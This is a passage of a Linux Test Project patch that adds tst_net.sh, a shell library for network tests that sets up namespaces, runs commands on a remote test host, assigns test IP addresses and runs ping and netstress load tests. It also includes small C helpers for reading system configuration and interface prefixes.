+	int opt;
+
+	while ((opt = getopt(argc, argv, ":h")) != -1) {
+		switch (opt) {
+		case 'h':
+			print_help();
+			return 0;
+		default:
+			print_help();
+			return 1;
+		}
+	}
+
+	if (argc != 2) {
+		print_help();
+		return 1;
+	}
+
+	if (!strcmp(argv[optind], "_NPROCESSORS_ONLN")) {
+		printf("%ld\n", sysconf(_SC_NPROCESSORS_ONLN));
+	} else if (!strcmp(argv[optind], "PAGESIZE") ||
+		   !strcmp(argv[optind], "PAGE_SIZE")) {
+		printf("%ld\n", sysconf(_SC_PAGE_SIZE));
+	} else {
+		printf("tst_getconf: Unrecognized variable \'%s\'\n",
+		       argv[optind]);
+		return -1;
+	}
+
+	return 0;
+}
diff --git a/testcases/lib/tst_net.sh b/testcases/lib/tst_net.sh
new file mode 100644
index 0000000..06b8ad6
--- /dev/null
+++ b/testcases/lib/tst_net.sh
@@ -0,0 +1,821 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2014-2017 Oracle and/or its affiliates. All Rights Reserved.
+# Copyright (c) 2016-2018 Petr Vorel <pvorel@suse.cz>
+# Author: Alexey Kodanev <alexey.kodanev@oracle.com>
+
+[ -n "$TST_LIB_NET_LOADED" ] && return 0
+TST_LIB_NET_LOADED=1
+
+TST_OPTS="6$TST_OPTS"
+TST_PARSE_ARGS_CALLER="$TST_PARSE_ARGS"
+TST_PARSE_ARGS="tst_net_parse_args"
+TST_USAGE_CALLER="$TST_USAGE"
+TST_USAGE="tst_net_usage"
+TST_SETUP_CALLER="$TST_SETUP"
+TST_SETUP="tst_net_setup"
+
+# Blank for an IPV4 test; 6 for an IPV6 test.
+TST_IPV6=${TST_IPV6:-}
+TST_IPVER=${TST_IPV6:-4}
+
+tst_net_parse_args()
+{
+	case $1 in
+	6) TST_IPV6=6 TST_IPVER=6;;
+	*) $TST_PARSE_ARGS_CALLER "$1" "$2";;
+	esac
+}
+
+tst_net_read_opts()
+{
+	local OPTIND
+	while getopts ":$TST_OPTS" opt; do
+		$TST_PARSE_ARGS "$opt" "$OPTARG"
+	done
+}
+
+tst_net_usage()
+{
+	if [ -n "$TST_USAGE_CALLER" ]; then
+		$TST_USAGE_CALLER
+	else
+		echo "Usage: $0 [-6]"
+		echo "OPTIONS"
+	fi
+	echo "-6      IPv6 tests"
+}
+
+tst_net_remote_tmpdir()
+{
+	[ "$TST_NEEDS_TMPDIR" = 1 ] || return 0
+	[ -n "$TST_USE_LEGACY_API" ] && tst_tmpdir
+	tst_rhost_run -c "mkdir -p $TST_TMPDIR"
+	tst_rhost_run -c "chmod 777 $TST_TMPDIR"
+	export TST_TMPDIR_RHOST=1
+}
+
+tst_net_setup()
+{
+	tst_net_remote_tmpdir
+	[ -n "$TST_SETUP_CALLER" ] && $TST_SETUP_CALLER
+}
+
+[ -n "$TST_USE_LEGACY_API" ] && . test.sh || . tst_test.sh
+
+if [ "$TST_PARSE_ARGS_CALLER" = "$TST_PARSE_ARGS" ]; then
+	tst_res TWARN "TST_PARSE_ARGS_CALLER same as TST_PARSE_ARGS, unset it ($TST_PARSE_ARGS)"
+	unset TST_PARSE_ARGS_CALLER
+fi
+if [ "$TST_SETUP_CALLER" = "$TST_SETUP" ]; then
+	tst_res TWARN "TST_SETUP_CALLER same as TST_SETUP, unset it ($TST_SETUP)"
+	unset TST_SETUP_CALLER
+fi
+if [ "$TST_USAGE_CALLER" = "$TST_USAGE" ]; then
+	tst_res TWARN "TST_USAGE_CALLER same as TST_USAGE, unset it ($TST_USAGE)"
+	unset TST_USAGE_CALLER
+fi
+
+if [ -n "$TST_USE_LEGACY_API" ]; then
+	tst_net_read_opts "$@"
+fi
+
+# old vs. new API compatibility layer
+tst_res_()
+{
+	[ -z "$TST_USE_LEGACY_API" ] && tst_res $@ || tst_resm $@
+}
+tst_brk_()
+{
+	[ -z "$TST_USE_LEGACY_API" ] && tst_brk $@ || tst_brkm $@
+}
+tst_require_root_()
+{
+	[ -z "$TST_USE_LEGACY_API" ] && TST_NEEDS_ROOT=1 || tst_require_root
+}
+
+init_ltp_netspace()
+{
+	tst_test_cmds ip
+	tst_require_root_
+
+	local pid=
+
+	if [ ! -f /var/run/netns/ltp_ns -a -z "$LTP_NETNS" ]; then
+		ROD ip li add name ltp_ns_veth1 type veth peer name ltp_ns_veth2
+		pid="$(ROD ns_create net,mnt)"
+		mkdir -p /var/run/netns
+		ROD ln -s /proc/$pid/ns/net /var/run/netns/ltp_ns
+		ROD ns_exec $pid net,mnt mount --make-rprivate /sys
+		ROD ns_exec $pid net,mnt mount -t sysfs none /sys
+		ROD ns_ifmove ltp_ns_veth1 $pid
+		ROD ns_exec $pid net,mnt ip li set lo up
+	elif [ -n "$LTP_NETNS" ]; then
+		tst_res_ TINFO "using not default LTP netns: '$LTP_NETNS'"
+	fi
+
+	LHOST_IFACES="${LHOST_IFACES:-ltp_ns_veth2}"
+	RHOST_IFACES="${RHOST_IFACES:-ltp_ns_veth1}"
+
+	export TST_INIT_NETNS="no"
+
+	pid="$(echo $(readlink /var/run/netns/ltp_ns) | cut -f3 -d'/')"
+	export LTP_NETNS="${LTP_NETNS:-ns_exec $pid net,mnt}"
+
+	tst_restore_ipaddr
+	tst_restore_ipaddr rhost
+}
+
+# Run command on remote host.
+# Options:
+# -b run in background
+# -B run in background and save output to $TST_TMPDIR/bg.cmd
+# -s safe option, if something goes wrong, will exit with TBROK
+# -c specify command to run (this must be binary, not shell buildin/function)
+# RETURN: 0 on success, 1 on failure
+tst_rhost_run()
+{
+	local pre_cmd=
+	local post_cmd=' || echo RTERR'
+	local out=
+	local user="root"
+	local cmd=
+	local safe=0
+	local bg=
+
+	OPTIND=0
+
+	while getopts :bBsc:u: opt; do
+		case "$opt" in
+		b|B) [ "$TST_USE_NETNS" ] && pre_cmd= || pre_cmd="nohup"
+		   [ "$opt" = b ] && bg="/dev/null" || bg="$TST_TMPDIR/bg.cmd"
+		   post_cmd=" > $bg 2>&1 &"
+		   out="1> /dev/null"
+		;;
+		s) safe=1 ;;
+		c) cmd="$OPTARG" ;;
+		u) user="$OPTARG" ;;
+		*) tst_brk_ TBROK "tst_rhost_run: unknown option: $OPTARG" ;;
+		esac
+	done
+
+	OPTIND=0
+
+	if [ -z "$cmd" ]; then
+		[ "$safe" -eq 1 ] && \
+			tst_brk_ TBROK "tst_rhost_run: command not defined"
+		tst_res_ TWARN "tst_rhost_run: command not defined"
+		return 1
+	fi
+
+	local output=
+	local ret=0
+	if [ -n "${TST_USE_SSH:-}" ]; then
+		output=`ssh -n -q $user@$RHOST "sh -c \
+			'$pre_cmd $cmd $post_cmd'" $out 2>&1 || echo 'RTERR'`
+	elif [ -n "$TST_USE_NETNS" ]; then
+		output=`$LTP_NETNS sh -c \
+			"$pre_cmd $cmd $post_cmd" $out 2>&1 || echo 'RTERR'`
+	else
+		output=`rsh -n -l $user $RHOST "sh -c \
+			'$pre_cmd $cmd $post_cmd'" $out 2>&1 || echo 'RTERR'`
+	fi
+	echo "$output" | grep -q 'RTERR$' && ret=1
+	if [ $ret -eq 1 ]; then
+		output=$(echo "$output" | sed 's/RTERR//')
+		[ "$safe" -eq 1 ] && \
+			tst_brk_ TBROK "'$cmd' failed on '$RHOST': '$output'"
+	fi
+
+	[ -z "$out" -a -n "$output" ] && echo "$output"
+
+	return $ret
+}
+
+# Run command on both lhost and rhost.
+# tst_net_run [-s] [-l LPARAM] [-r RPARAM] [ -q ] CMD [ARG [ARG2]]
+# Options:
+# -l LPARAM: parameter passed to CMD in lhost
+# -r RPARAM: parameter passed to CMD in rhost
+# -q: quiet mode (suppress failure warnings)
+# CMD: command to run (this must be binary, not shell buildin/function due
+# tst_rhost_run() limitation)
+# RETURN: 0 on success, 1 on missing CMD or exit code on lhost or rhost
+tst_net_run()
+{
+	local cmd
+	local lparams
+	local rparams
+	local lsafe
+	local rsafe
+	local lret
+	local rret
+	local quiet
+
+	local OPTIND
+	while getopts l:qr:s opt; do
+		case "$opt" in
+		l) lparams="$OPTARG" ;;
+		q) quiet=1 ;;
+		r) rparams="$OPTARG" ;;
+		s) lsafe="ROD"; rsafe="-s" ;;
+		*) tst_brk_ TBROK "tst_net_run: unknown option: $OPTARG" ;;
+		esac
+	done
+	shift $((OPTIND - 1))
+	cmd="$1"
+	shift
+
+	if [ -z "$cmd" ]; then
+		[ -n "$lsafe" ] && \
+			tst_brk_ TBROK "tst_net_run: command not defined"
+		tst_res_ TWARN "tst_net_run: command not defined"
+		return 1
+	fi
+
+	$lsafe $cmd $lparams $@
+	lret=$?
+	tst_rhost_run $rsafe -c "$cmd $rparams $@"
+	rret=$?
+
+	if [ -z "$quiet" ]; then
+		[ $lret -ne 0 ] && tst_res_ TWARN "tst_net_run: lhost command failed: $lret"
+		[ $rret -ne 0 ] && tst_res_ TWARN "tst_net_run: rhost command failed: $rret"
+	fi
+
+	[ $lret -ne 0 ] && return $lret
+	return $rret
+}
+
+EXPECT_RHOST_PASS()
+{
+	tst_rhost_run -c "$*" > /dev/null
+	if [ $? -eq 0 ]; then
+		tst_res_ TPASS "$* passed as expected"
+	else
+		tst_res_ TFAIL "$* failed unexpectedly"
+	fi
+}
+
+EXPECT_RHOST_FAIL()
+{
+	tst_rhost_run -c "$* 2> /dev/null"
+	if [ $? -ne 0 ]; then
+		tst_res_ TPASS "$* failed as expected"
+	else
+		tst_res_ TFAIL "$* passed unexpectedly"
+	fi
+}
+
+# Get test interface names for local/remote host.
+# tst_get_ifaces [TYPE]
+# TYPE: { lhost | rhost }; Default value is 'lhost'.
+tst_get_ifaces()
+{
+	local type="${1:-lhost}"
+	if [ "$type" = "lhost" ]; then
+		echo "$LHOST_IFACES"
+	else
+		echo "$RHOST_IFACES"
+	fi
+}
+
+# Get HW addresses from defined test interface names.
+# tst_get_hwaddrs [TYPE]
+# TYPE: { lhost | rhost }; Default value is 'lhost'.
+tst_get_hwaddrs()
+{
+	local type="${1:-lhost}"
+	local addr=
+	local list=
+
+	for eth in $(tst_get_ifaces $type); do
+
+		local addr_path="/sys/class/net/${eth}/address"
+
+		case $type in
+		lhost) addr=$(cat $addr_path) ;;
+		rhost) addr=$(tst_rhost_run -s -c "cat $addr_path")
+		esac
+
+		[ -z "$list" ] && list="$addr" || list="$list $addr"
+	done
+	echo "$list"
+}
+
+# Get test HW address.
+# tst_hwaddr [TYPE] [LINK]
+# TYPE: { lhost | rhost }; Default value is 'lhost'.
+# LINK: link number starting from 0. Default value is '0'.
+tst_hwaddr()
+{
+	tst_test_cmds awk
+
+	local type="${1:-lhost}"
+	local link_num="${2:-0}"
+	local hwaddrs=
+	link_num=$(( $link_num + 1 ))
+	[ "$type" = "lhost" ] && hwaddrs=$LHOST_HWADDRS || hwaddrs=$RHOST_HWADDRS
+	echo "$hwaddrs" | awk '{ print $'"$link_num"' }'
+}
+
+# Get test interface name.
+# tst_iface [TYPE] [LINK]
+# TYPE: { lhost | rhost }; Default value is 'lhost'.
+# LINK: link number starting from 0. Default value is '0'.
+tst_iface()
+{
+	tst_test_cmds awk
+
+	local type="${1:-lhost}"
+	local link_num="${2:-0}"
+	link_num="$(( $link_num + 1 ))"
+	echo "$(tst_get_ifaces $type)" | awk '{ print $'"$link_num"' }'
+}
+
+# Get IP address
+# tst_ipaddr [TYPE]
+# TYPE: { lhost | rhost }; Default value is 'lhost'.
+tst_ipaddr()
+{
+	local type="${1:-lhost}"
+	if [ "$TST_IPV6" ]; then
+		[ "$type" = "lhost" ] && echo "$IPV6_LHOST" || echo "$IPV6_RHOST"
+	else
+		[ "$type" = "lhost" ] && echo "$IPV4_LHOST" || echo "$IPV4_RHOST"
+	fi
+}
+
+# Get IP address of unused network, specified either by type and counter
+# or by net and host.
+# tst_ipaddr_un [-cCOUNTER] [TYPE]
+# tst_ipaddr_un NET_ID [HOST_ID]
+# TYPE: { lhost | rhost }; Default value is 'lhost'.
+# COUNTER: Integer value for counting HOST_ID and NET_ID. Default is 1.
+# NET_ID: Integer or hex value of net. For IPv4 is 3rd octet, for IPv6
+# is 3rd hextet.
+# HOST_ID: Integer or hex value of host. For IPv4 is 4th octet, for
+# IPv6 is the last hextet. Default value is 0.
+tst_ipaddr_un()
+{
+	local counter host_id net_id max_host_id max_net_id tmp type
+	local OPTIND
+
+	while getopts "c:" opt; do
+		case $opt in
+			c) counter="$OPTARG";;
+		esac
+	done
+	shift $(($OPTIND - 1))
+
+	[ "$TST_IPV6" ] && max_net_id=65535 || max_net_id=255
+
+	if [ $# -eq 0 -o "$1" = "lhost" -o "$1" = "rhost" ]; then
+		[ -z "$counter" ] && counter=1
+		[ $counter -lt 1 ] && counter=1
+		type="${1:-lhost}"
+		max_host_id=$((max_net_id - 1))
+		tmp=$((counter * 2))
+		[ "$type" = "rhost" ] && tmp=$((tmp - 1))
+
+		host_id=$((tmp % max_host_id))
+		net_id=$((tmp / max_host_id))
+
+		if [ $host_id -eq 0 ]; then
+			host_id=$max_host_id
+			net_id=$((net_id - 1))
+		fi
+	else
+		net_id="$1"
+		host_id="${2:-0}"
+		if [ "$TST_IPV6" ]; then
+			net_id=$(printf %d $net_id)
+			host_id=$(printf %d $host_id)
+		fi
+		[ $net_id -lt 0 ] && net_id=0
+		[ $host_id -lt 0 ] && host_id=1
+	fi
+
+	net_id=$((net_id % max_net_id))
+	host_id=$((host_id % max_net_id))
+
+	if [ -z "$TST_IPV6" ]; then
+		echo "${IPV4_NET16_UNUSED}.${net_id}.${host_id}"
+		return
+	fi
+
+	[ $host_id -gt 0 ] && host_id="$(printf %x $host_id)" || host_id=
+	[ $net_id -gt 0 ] && net_id="$(printf %x $net_id)" || net_id=
+	[ "$net_id" ] && net_id=":$net_id"
+	echo "${IPV6_NET32_UNUSED}${net_id}::${host_id}"
+}
+
+# tst_init_iface [TYPE] [LINK]
+# TYPE: { lhost | rhost }; Default value is 'lhost'.
+# LINK: link number starting from 0. Default value is '0'.
+tst_init_iface()
+{
+	local type="${1:-lhost}"
+	local link_num="${2:-0}"
+	local iface="$(tst_iface $type $link_num)"
+	tst_res_ TINFO "initialize '$type' '$iface' interface"
+
+	if [ "$type" = "lhost" ]; then
+		ip xfrm policy flush || return $?
+		ip xfrm state flush || return $?
+		ip link set $iface down || return $?
+		ip route flush dev $iface || return $?
+		ip addr flush dev $iface || return $?
+		ip link set $iface up
+		return $?
+	fi
+
+	tst_rhost_run -c "ip xfrm policy flush" || return $?
+	tst_rhost_run -c "ip xfrm state flush" || return $?
+	tst_rhost_run -c "ip link set $iface down" || return $?
+	tst_rhost_run -c "ip route flush dev $iface" || return $?
+	tst_rhost_run -c "ip addr flush dev $iface" || return $?
+	tst_rhost_run -c "ip link set $iface up"
+}
+
+# tst_add_ipaddr [TYPE] [LINK]
+# TYPE: { lhost | rhost }; Default value is 'lhost'.
+# LINK: link number starting from 0. Default value is '0'.
+tst_add_ipaddr()
+{
+	local type="${1:-lhost}"
+	local link_num="${2:-0}"
+	local mask dad
+
+	if [ "$TST_IPV6" ]; then
+		dad="nodad"
+		[ "$type" = "lhost" ] && mask=$IPV6_LPREFIX || mask=$IPV6_RPREFIX
+	else
+		[ "$type" = "lhost" ] && mask=$IPV4_LPREFIX || mask=$IPV4_RPREFIX
+	fi
+
+	local iface=$(tst_iface $type $link_num)
+
+	if [ $type = "lhost" ]; then
+		tst_res_ TINFO "set local addr $(tst_ipaddr)/$mask"
+		ip addr add $(tst_ipaddr)/$mask dev $iface $dad
+		return $?
+	fi
+
+	tst_res_ TINFO "set remote addr $(tst_ipaddr rhost)/$mask"
+	tst_rhost_run -c "ip addr add $(tst_ipaddr rhost)/$mask dev $iface $dad"
+}
+
+# tst_restore_ipaddr [TYPE] [LINK]
+# Restore default ip addresses defined in network.sh
+# TYPE: { lhost | rhost }; Default value is 'lhost'.
+# LINK: link number starting from 0. Default value is '0'.
+tst_restore_ipaddr()
+{
+	tst_test_cmds ip
+	tst_require_root_
+
+	local type="${1:-lhost}"
+	local link_num="${2:-0}"
+
+	tst_init_iface $type $link_num || return $?
+
+	local ret=0
+	local backup_tst_ipv6=$TST_IPV6
+	TST_IPV6= tst_add_ipaddr $type $link_num || ret=$?
+	TST_IPV6=6 tst_add_ipaddr $type $link_num || ret=$?
+	TST_IPV6=$backup_tst_ipv6
+
+	return $ret
+}
+
+# tst_wait_ipv6_dad [LHOST_IFACE] [RHOST_IFACE]
+# wait for IPv6 DAD completion
+tst_wait_ipv6_dad()
+{
+	local ret=
+	local i=
+	local iface_loc=${1:-$(tst_iface)}
+	local iface_rmt=${2:-$(tst_iface rhost)}
+
+	for i in $(seq 1 50); do
+		ip a sh $iface_loc | grep -q tentative
+		ret=$?
+
+		tst_rhost_run -c "ip a sh $iface_rmt | grep -q tentative"
+
+		[ $ret -ne 0 -a $? -ne 0 ] && return
+
+		[ $(($i % 10)) -eq 0 ] && \
+			tst_res_ TINFO "wait for IPv6 DAD completion $((i / 10))/5 sec"
+
+		tst_sleep 100ms
+	done
+}
+
+tst_dump_rhost_cmd()
+{
+	tst_rhost_run -c "cat $TST_TMPDIR/netstress.log"
+}
+
+# Run network load test, see 'netstress -h' for option description
+tst_netload()
+{
+	local rfile="tst_netload.res"
+	local expect_res="pass"
+	local ret=0
+	local type="tcp"
+	local hostopt=
+	local setup_srchost=0
+	# common options for client and server
+	local cs_opts=
+
+	local c_num="$TST_NETLOAD_CLN_NUMBER"
+	local c_requests="$TST_NETLOAD_CLN_REQUESTS"
+	local c_opts=
+
+	# number of server replies after which TCP connection is closed
+	local s_replies="${TST_NETLOAD_MAX_SRV_REPLIES:-500000}"
+	local s_opts=
+
+	if [ ! "$TST_NEEDS_TMPDIR" = 1 ]; then
+		tst_brk_ TBROK "Using tst_netload requires setting TST_NEEDS_TMPDIR=1"
+	fi
+
+	OPTIND=0
+	while getopts :a:H:d:n:N:r:R:S:b:t:T:fFe:m:A:D: opt; do
+		case "$opt" in
+		a) c_num="$OPTARG" ;;
+		H) c_opts="${c_opts}-H $OPTARG "
+		   hostopt="$OPTARG" ;;
+		d) rfile="$OPTARG" ;;
+		n) c_opts="${c_opts}-n $OPTARG " ;;
+		N) c_opts="${c_opts}-N $OPTARG " ;;
+		r) c_requests="$OPTARG" ;;
+		A) c_opts="${c_opts}-A $OPTARG " ;;
+		R) s_replies="$OPTARG" ;;
+		S) c_opts="${c_opts}-S $OPTARG "
+		   setup_srchost=1 ;;
+		b) cs_opts="${cs_opts}-b $OPTARG " ;;
+		t) cs_opts="${cs_opts}-t $OPTARG " ;;
+		T) cs_opts="${cs_opts}-T $OPTARG "
+		   type="$OPTARG" ;;
+		m) cs_opts="${cs_opts}-m $OPTARG " ;;
+		f) cs_opts="${cs_opts}-f " ;;
+		F) cs_opts="${cs_opts}-F " ;;
+		e) expect_res="$OPTARG" ;;
+		D) cs_opts="${cs_opts}-D $OPTARG " ;;
+		*) tst_brk_ TBROK "tst_netload: unknown option: $OPTARG" ;;
+		esac
+	done
+	OPTIND=0
+
+	[ "$setup_srchost" = 1 ] && s_opts="${s_opts}-S $hostopt "
+
+	local expect_ret=0
+	[ "$expect_res" != "pass" ] && expect_ret=1
+
+	tst_rhost_run -c "pkill -9 netstress\$"
+	s_opts="${cs_opts}${s_opts}-R $s_replies -B $TST_TMPDIR"
+	tst_res_ TINFO "run server 'netstress $s_opts'"
+	tst_rhost_run -c "netstress $s_opts" > tst_netload.log 2>&1
+	if [ $? -ne 0 ]; then
+		cat tst_netload.log
+		local ttype="TFAIL"
+		grep -e 'CONF:' tst_netload.log && ttype="TCONF"
+		tst_brk_ $ttype "server failed"
+	fi
+
+	local port=$(tst_rhost_run -s -c "cat $TST_TMPDIR/netstress_port")
+	c_opts="${cs_opts}${c_opts}-a $c_num -r $c_requests -d $rfile -g $port"
+
+	tst_res_ TINFO "run client 'netstress -l $c_opts'"
+	netstress -l $c_opts > tst_netload.log 2>&1 || ret=1
+	tst_rhost_run -c "pkill -9 netstress\$"
+
+	if [ "$expect_ret" -ne "$ret" ]; then
+		tst_dump_rhost_cmd
+		cat tst_netload.log
+		tst_brk_ TFAIL "expected '$expect_res' but ret: '$ret'"
+	fi
+
+	if [ "$ret" -eq 0 ]; then
+		if [ ! -f $rfile ]; then
+			tst_dump_rhost_cmd
+			cat tst_netload.log
+			tst_brk_ TFAIL "can't read $rfile"
+		fi
+		tst_res_ TPASS "netstress passed, time spent '$(cat $rfile)' ms"
+	else
+		tst_res_ TPASS "netstress failed as expected"
+	fi
+
+	return $ret
+}
+
+# tst_ping [IFACE] [DST ADDR] [MESSAGE SIZE ARRAY]
+# Check icmp connectivity
+# IFACE: source interface name or IP address
+# DST ADDR: destination IPv4 or IPv6 address
+# MESSAGE SIZE ARRAY: message size array
+tst_ping()
+{
+	# The max number of ICMP echo request
+	PING_MAX="${PING_MAX:-500}"
+
+	local src_iface="${1:-$(tst_iface)}"
+	local dst_addr="${2:-$(tst_ipaddr rhost)}"; shift $(( $# >= 2 ? 2 : 0 ))
+	local msg_sizes="$*"
+	local msg="tst_ping $dst_addr iface/saddr $src_iface, msg_size"
+	local cmd="ping"
+	local ret=0
+
+	echo "$dst_addr" | grep -q ':' && cmd="ping6"
+	tst_test_cmds $cmd
+
+	# ping cmd use 56 as default message size
+	for size in ${msg_sizes:-"56"}; do
+		$cmd -I $src_iface -c $PING_MAX $dst_addr \
+			-s $size -i 0 > /dev/null 2>&1
+		ret=$?
+		if [ $ret -eq 0 ]; then
+			tst_res_ TPASS "$msg $size: pass"
+		else
+			tst_res_ TFAIL "$msg $size: fail"
+			break
+		fi
+	done
+	return $ret
+}
+
+# tst_icmp -t TIMEOUT -s MESSAGE_SIZE_ARRAY OPTS
+# TIMEOUT: total time for the test in seconds
+# OPTS: additional options for ns-icmpv4|6-sender tool
+tst_icmp()
+{
+	local timeout=1
+	local msg_sizes=56
+	local opts=
+	local num=
+	local ret=0
+	local ver="${TST_IPV6:-4}"
+
+	OPTIND=0
+	while getopts :t:s: opt; do
+		case "$opt" in
+		t) timeout="$OPTARG" ;;
+		s) msg_sizes="$OPTARG" ;;
+		*) opts="-$OPTARG $opts" ;;
+		esac
+	done
+	OPTIND=0
+
+	local num=$(echo "$msg_sizes" | wc -w)
+	timeout="$(($timeout / $num))"
+	[ "$timeout" -eq 0 ] && timeout=1
+
+	opts="${opts}-I $(tst_iface) -S $(tst_ipaddr) -D $(tst_ipaddr rhost) "
+	opts="${opts}-M $(tst_hwaddr rhost) -t $timeout"
+
+	for size in $msg_sizes; do
+		ns-icmpv${ver}_sender -s $size $opts
+		ret=$?
+		if [ $ret -eq 0 ]; then
+			tst_res_ TPASS "'ns-icmpv${ver}_sender -s $size $opts' pass"
+		else
+			tst_res_ TFAIL "'ns-icmpv${ver}_sender -s $size $opts' fail"
+			break
+		fi
+	done
+	return $ret
+}
+
+# tst_set_sysctl NAME VALUE [safe]
+# It can handle netns case when sysctl not namespaceified.
+tst_set_sysctl()
+{
+	local name="$1"
+	local value="$2"
+	local safe=
+	[ "$3" = "safe" ] && safe="-s"
+
+	local rparam=
+	[ "$TST_USE_NETNS" = "yes" ] && rparam="-r '-e'"
+
+	tst_net_run $safe $rparam "sysctl -q -w $name=$value"
+}
+
+tst_cleanup_rhost()
+{
+	tst_rhost_run -c "rm -rf $TST_TMPDIR"
+}
+
+# Management Link
+[ -z "$RHOST" ] && TST_USE_NETNS="yes"
+export RHOST="$RHOST"
+export PASSWD="${PASSWD:-}"
+# Don't use it in new tests, use tst_rhost_run() from tst_net.sh instead.
+export LTP_RSH="${LTP_RSH:-rsh -n}"
+
+# Test Links
+# IPV{4,6}_{L,R}HOST can be set with or without prefix (e.g. IP or IP/prefix),
+# but if you use IP/prefix form, /prefix will be removed by tst_net_vars.
+IPV4_LHOST="${IPV4_LHOST:-10.0.0.2/24}"
+IPV4_RHOST="${IPV4_RHOST:-10.0.0.1/24}"
+IPV6_LHOST="${IPV6_LHOST:-fd00:1:1:1::2/64}"
+IPV6_RHOST="${IPV6_RHOST:-fd00:1:1:1::1/64}"
+
+# tst_net_ip_prefix
+# Strip prefix from IP address and save both If no prefix found sets
+# default prefix.
+#
+# tst_net_iface_prefix reads prefix and interface from rtnetlink.
+# If nothing found sets default prefix value.
+#
+# tst_net_vars exports environment variables related to test links and
+# networks that aren't reachable through the test links.
+#
+# For full list of exported environment variables see:
+# tst_net_ip_prefix -h
+# tst_net_iface_prefix -h
+# tst_net_vars -h
+if [ -z "$TST_PARSE_VARIABLES" ]; then
+	eval $(tst_net_ip_prefix $IPV4_LHOST || echo "exit $?")
+	eval $(tst_net_ip_prefix -r $IPV4_RHOST || echo "exit $?")
+	eval $(tst_net_ip_prefix $IPV6_LHOST || echo "exit $?")
+	eval $(tst_net_ip_prefix -r $IPV6_RHOST || echo "exit $?")
+fi
+
+[ -n "$TST_USE_NETNS" -a "$TST_INIT_NETNS" != "no" ] && init_ltp_netspace
+
+if [ -z "$TST_PARSE_VARIABLES" ]; then
+	eval $(tst_net_iface_prefix $IPV4_LHOST || echo "exit $?")
+	eval $(tst_rhost_run -c 'tst_net_iface_prefix -r '$IPV4_RHOST \
+		|| echo "exit $?")
+	eval $(tst_net_iface_prefix $IPV6_LHOST || echo "exit $?")
+	eval $(tst_rhost_run -c 'tst_net_iface_prefix -r '$IPV6_RHOST \
+		|| echo "exit $?")
+
+	eval $(tst_net_vars $IPV4_LHOST/$IPV4_LPREFIX \
+		$IPV4_RHOST/$IPV4_RPREFIX || echo "exit $?")
+	eval $(tst_net_vars $IPV6_LHOST/$IPV6_LPREFIX \
+		$IPV6_RHOST/$IPV6_RPREFIX || echo "exit $?")
+
+	tst_res_ TINFO "Network config (local -- remote):"
+	tst_res_ TINFO "$LHOST_IFACES -- $RHOST_IFACES"
+	tst_res_ TINFO "$IPV4_LHOST/$IPV4_LPREFIX -- $IPV4_RHOST/$IPV4_RPREFIX"
+	tst_res_ TINFO "$IPV6_LHOST/$IPV6_LPREFIX -- $IPV6_RHOST/$IPV6_RPREFIX"
+	export TST_PARSE_VARIABLES="yes"
+fi
+
+export TST_NETLOAD_CLN_REQUESTS="${TST_NETLOAD_CLN_REQUESTS:-10000}"
+export TST_NETLOAD_CLN_NUMBER="${TST_NETLOAD_CLN_NUMBER:-2}"
+export HTTP_DOWNLOAD_DIR="${HTTP_DOWNLOAD_DIR:-/var/www/html}"
+export FTP_DOWNLOAD_DIR="${FTP_DOWNLOAD_DIR:-/var/ftp}"
+export FTP_UPLOAD_DIR="${FTP_UPLOAD_DIR:-/var/ftp/pub}"
+export FTP_UPLOAD_URLDIR="${FTP_UPLOAD_URLDIR:-pub}"
+
+# network/stress tests require additional parameters
+export NS_DURATION="${NS_DURATION:-10}"
+export NS_TIMES="${NS_TIMES:-10}"
+export CONNECTION_TOTAL="${CONNECTION_TOTAL:-10}"
+export IP_TOTAL="${IP_TOTAL:-100}"
+export IP_TOTAL_FOR_TCPIP="${IP_TOTAL_FOR_TCPIP:-100}"
+export ROUTE_TOTAL="${ROUTE_TOTAL:-100}"
+export MTU_CHANGE_TIMES="${MTU_CHANGE_TIMES:-100}"
+export IF_UPDOWN_TIMES="${IF_UPDOWN_TIMES:-100}"
+export DOWNLOAD_BIGFILESIZE="${DOWNLOAD_BIGFILESIZE:-2147483647}"
+export DOWNLOAD_REGFILESIZE="${DOWNLOAD_REGFILESIZE:-1048576}"
+export UPLOAD_BIGFILESIZE="${UPLOAD_BIGFILESIZE:-2147483647}"
+export UPLOAD_REGFILESIZE="${UPLOAD_REGFILESIZE:-1024}"
+export MCASTNUM_NORMAL="${MCASTNUM_NORMAL:-20}"
+export MCASTNUM_HEAVY="${MCASTNUM_HEAVY:-4000}"
+
+# Warning: make sure to set valid interface names and IP addresses below.
+# Set names for test interfaces, e.g. "eth0 eth1"
+# This is fallback for LHOST_IFACES in case tst_net_vars finds nothing or we
+# want to use more ifaces.
+export LHOST_IFACES="${LHOST_IFACES:-eth0}"
+export RHOST_IFACES="${RHOST_IFACES:-eth0}"
+
+# Set corresponding HW addresses, e.g. "00:00:00:00:00:01 00:00:00:00:00:02"
+export LHOST_HWADDRS="${LHOST_HWADDRS:-$(tst_get_hwaddrs lhost)}"
+export RHOST_HWADDRS="${RHOST_HWADDRS:-$(tst_get_hwaddrs rhost)}"
+
+# More information about network parameters can be found
+# in the following document: testcases/network/stress/README
+
+if [ -n "$TST_USE_LEGACY_API" ]; then
+	tst_net_remote_tmpdir
+fi
+
+if [ -z "$TST_USE_LEGACY_API" ] && ! tst_cmd_available ping6; then
+	ping6()
+	{
+		ping -6 $@
+	}
+	if [ -z "$ping6_warn_printed" ]; then
+		tst_res_ TINFO "ping6 binary/symlink is missing, using workaround. Please, report missing ping6 to your distribution."
+		export ping6_warn_printed=1
+	fi
+fi
diff --git a/testcases/lib/tst_net_iface_prefix.c b/testcases/lib/tst_net_iface_prefix.c
index 3868d36..a9e3882 100644
--- a/testcases/lib/tst_net_iface_prefix.c
+++ b/testcases/lib/tst_net_iface_prefix.c
@@ -152,13 +152,11 @@
 	else
 		get_in_addr(ip_str, &ip);
 
-	if (is_ipv6) {
-		print_svar_change("LHOST_IFACES", iface);
+	print_svar_change(is_rhost ? "RHOST_IFACES" : "LHOST_IFACES", iface);
+	if (is_ipv6)
 		print_ivar(is_rhost ? "IPV6_RPREFIX" : "IPV6_LPREFIX", prefix);
-	} else {
-		print_svar_change("RHOST_IFACES", iface);
+	else
 		print_ivar(is_rhost ? "IPV4_RPREFIX" : "IPV4_LPREFIX", prefix);
-	}
 
 	exit(EXIT_SUCCESS);
 }
diff --git a/testcases/lib/tst_rod.c b/testcases/lib/tst_rod.c
index ce93625..8d436fc 100644
--- a/testcases/lib/tst_rod.c
+++ b/testcases/lib/tst_rod.c
